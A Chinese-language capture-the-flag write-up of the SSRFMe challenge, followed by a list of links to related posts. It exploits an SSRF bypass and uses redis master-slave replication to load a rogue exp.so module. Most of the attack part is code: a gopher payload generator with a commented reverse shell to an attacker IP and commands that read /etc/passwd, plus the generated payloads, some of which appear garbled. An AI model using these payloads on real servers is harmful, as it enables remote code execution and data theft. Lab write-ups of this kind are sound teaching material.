这个题!我一定要说一下!从上周一这位帅气逼人天天散发着睡不醒气息的曹师傅给我布置下来之后,我扣扣索索做到了这周四上午,还是看着writeup做的!!!菜鸡实锤了!这期间,遇到了各种bug,像什么exp.so上传不了,shell反弹不回来,还有tmd什么端口被占用,语法错误。。。师傅留的这题真不错,真是让我这两周一点都不无聊了呢,说着说着口水就从眼睛流了出来,手动挥狗头 >_<

先不扯皮,下面开始步入正题
首先, 这题打开是这样的:

<?php
function check_inner_ip($url)
{$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}function safe_request_url($url)
{if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}}
if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);}
}
else{highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

然后利用http://0.0.0.0/hint.php 绕过check_inner_ip() 函数的检测

string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){highlight_file(__FILE__);
}
if(isset($_POST['file'])){file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

拿到密码是root;
接下来注册一个小号,因为buu的题目不在外网,所以一般用小号开启buu Basis类的Linux Lab

用xshell连接,连接主机为node3.buuoj.cn,端口号就是后面的27973,不过此时我的端口号是26773;

接下来本地下载好两个工具,用xftp上传到root目录下(这里目录不固定,可以随意发挥),工具链接如下:
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
我这里为了方便把第二个工具中的exp.io复制到了第一个工具下,然后开启rogue-server.py 启动之后用于伪装为主redis,不过这个启动过程一连上就容易断开,可以写个死循环shell脚本跑rogue-server.py ,不然可能导致exp.so都没传完就中断了。
我这里写的test.sh文件:

test.sh的代码:

while [ "1" = "1" ]
dopython rogue-server.py
done

运行截图是这样的:

改了一下ssrf-redis.py文件脚本(这里参考的别人的脚本)参考的博客链接我会贴在最后,里面的lhost,lport别忘了改成此靶机Linux Lab的ip;

# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。
from urllib.parse import quotedef redis_format(arr):CRLF = "\r\n"redis_arr = arr.split(" ")cmd = ""cmd += "*" + str(len(redis_arr))for x in redis_arr:cmd += CRLF + "$" + str(len((x))) + CRLF + xcmd += CRLFreturn cmddef generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):exp_filename = "exp.so"cmd = [# 第一次# "CONFIG SET dir /tmp/",# "config set dbfilename exp.so",# "SLAVEOF {} {}".format(lhost, lport),# 第二次# "MODULE LOAD /tmp/exp.so",# 第三次  "system.exec {}".format(command.replace(" ", "${IFS}")),# 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数# "system.rev 174.2.6.11${IFS}2333",# "SLAVEOF NO ONE",# "CONFIG SET dbfilename dump.rdb",# "system.exec rm${IFS}/tmp/{}".format(exp_filename),# "MODULE UNLOAD system","quit",]if passwd:cmd.insert(0, "AUTH {}".format(passwd))return cmdif __name__ == '__main__':#攻击机ip:lhost =  "174.2.6.11"lport = "21000"passwd = "root"command = "cat /flag"# command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"cmd = generate_rce(lhost,lport,passwd,command)rhost = "0.0.0.0"rport = "6379"payload = 'gopher://'+rhost+":"+rport+"/_"a = ""for x in cmd:a += redis_format(x)payload += quote(redis_format(x))print(a)print(payload)

用这个生成payload,第一次的payload:

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%240D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A172.16.128.66%0D%0A%%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

生成的payload最后的%0D%0A这一小段可以去掉(图片上半框中选中的一小截),没什么用;由于题目中还使用了curl ,所以需要对payload 进行二次url 编码,这个在线编码工具还不错:http://www.jsons.cn/urlencode/

在web中写入后:

接下来,第二条payload:

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

同样进行二次url编码:

web写入后,cat /flag成功执行,拿到flag,题目完成:


说实话,这个题拿到flag的是时候我还是有点懵逼的,可能是原理还没了解透的原因,所以写的步骤方面多一些,原理方面基本没有提及,写完这篇后我再去研究研究。。

没错,就是这么简简单单的几个步骤,我做了两周。。。不过刚来不久的老乡同事郑大哥倒是很快做了出来,在他和上文中的曹师傅的帮助下,我花了短短两周终于拿到了flag!!!苍天有眼啊!至少这句话我不用完成了。。

这里给这两位大佬一个致谢,都是未来网络安全行业的大佬。

参考博客:
https://blog.csdn.net/qq_41891666/article/details/107103116
https://blog.csdn.net/weixin_43610673/article/details/106457180
https://blog.csdn.net/qq_36438489/article/details/106538473
https://www.jianshu.com/p/a940731cddaf

[网鼎杯 2020 玄武组]SSRFMe相关推荐

  1. [网鼎杯 2020 玄武组]SSRFMe【redis主从复制ssrf】

    参考博客: https://blog.csdn.net/qq_41891666/article/details/107103116 https://zhuanlan.zhihu.com/p/11205 ...

  2. undefsafe原型链[网鼎杯 2020 青龙组]notes

    感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜. 从浅入深 Javascript 原型链与原型链污染 [网鼎杯 2020 青龙组]notes var express = require('exp ...

  3. [网鼎杯 2020 朱雀组]phpweb

    目录 解题过程: 找payload: 1. 对in_array()函数进行绕过 2. php反序列化 参考文章: 考点:关于call_user_func()函数的用法,php反序列化(本题不用也能做) ...

  4. [网鼎杯 2020 朱雀组]phpweb-反弹shell

    [网鼎杯 2020 朱雀组]phpweb 通过反弹shell获取flag 打开链接,显示一个不断刷新的页面,通过burp抓包查看 通过对页面源代码的分析,发现在本页面中,通过post传入index.p ...

  5. [网鼎杯 2020 青龙组]AreUSerialz WP

    [网鼎杯 2020 青龙组]AreUSerialz WP 看到题目,首先进入代码审计 <?phpinclude("flag.php");//在文件中插入flag.php文件的 ...

  6. Buuctf[网鼎杯 2020 青龙组]AreUSerialz

    [网鼎杯 2020 青龙组]AreUSerialz 打开题目仔细阅读源码 <?phpinclude("flag.php"); highlight_file(__FILE__) ...

  7. [网鼎杯 2020 青龙组]jocker

    [网鼎杯 2020 青龙组]jocker SMC(self-Modifying Code): 自修改代码,程序在执行某段代码的过程中会对程序的代码进行修改,只有在修改后的代码才是可汇编,可执行的.在程 ...

  8. BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker

    BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker 先看下文件信息,没有加壳,32位程序 运行一下,又是一道字符串比较的题目 用IDA32位打开,分析一下 // positive ...

  9. Buuctf [网鼎杯 2020 青龙组]jocker 题解

    目录 一.主函数逻辑 二.wrong函数和omg函数--假flag 1.wrong函数 2.omg函数 3.假flag 三.encrypt和finally函数--真flag 1.打开sp指针偏移显示 ...

最新文章

  1. 抓取网页的脚本 【修复】
  2. 【Python CheckiO 题解】Probably Dice
  3. azure 免费帐户注册_如何使用模拟器模拟Azure SQL数据库存储帐户行为
  4. allegro 16.6 空心焊盘的制作
  5. java的程序编码_Java 程序编码规范(初学者要牢记)
  6. win7专业版 .bat脚本运行_IT运维老司机:聊聊BAT批处理提升工作效率
  7. 「题解」:[AHOI2012] 树屋阶梯
  8. 论文简述 | PL-VINS:具有点和线特征的实时单目视觉惯性SLAM
  9. 2022年中级网络工程师备考(网络知识部分)
  10. 每日一记—获取Bing每日一图实现Android欢迎页(一)
  11. Python 正则表达式提取文件后缀名
  12. .net世界 最好的东西!! 你拥有几个 ——转贴
  13. 将切割后的小图片还原为大图片
  14. ios 各种动画机制
  15. 【项目精选】病历管理系统设计与实现(源码+视频)
  16. 机器学习中Batch Size、Iteration和Epoch的概念
  17. ubuntu系统服务器网速测试方法
  18. 打造高效能团队之测试能力提升
  19. 微信直播怎么弄?知识干货都在这里了
  20. com.github.abel533.mapper.MapperProvider插件使用遇到的问题

热门文章

  1. 设备树下的platform驱动编写
  2. device-mapper 块级重删(dm dedup) 3代码结构(2)
  3. java插入数据到mysql数据库
  4. 如何画好光影?素描的光源、阴影应该怎么画?
  5. 穷游焦作周边之大沙河
  6. 汇编语言随笔(4)-数据段和栈段与mov,add,sub,div,mul、adc、sbb指令
  7. MATALB学习五:矩阵的乘方
  8. AI软件写作实战测试:写作技巧 - 让智能写作助手变得更加智能化?
  9. 初次使用PostgreSQL
  10. 剑指offer面试题(41-50)——java实现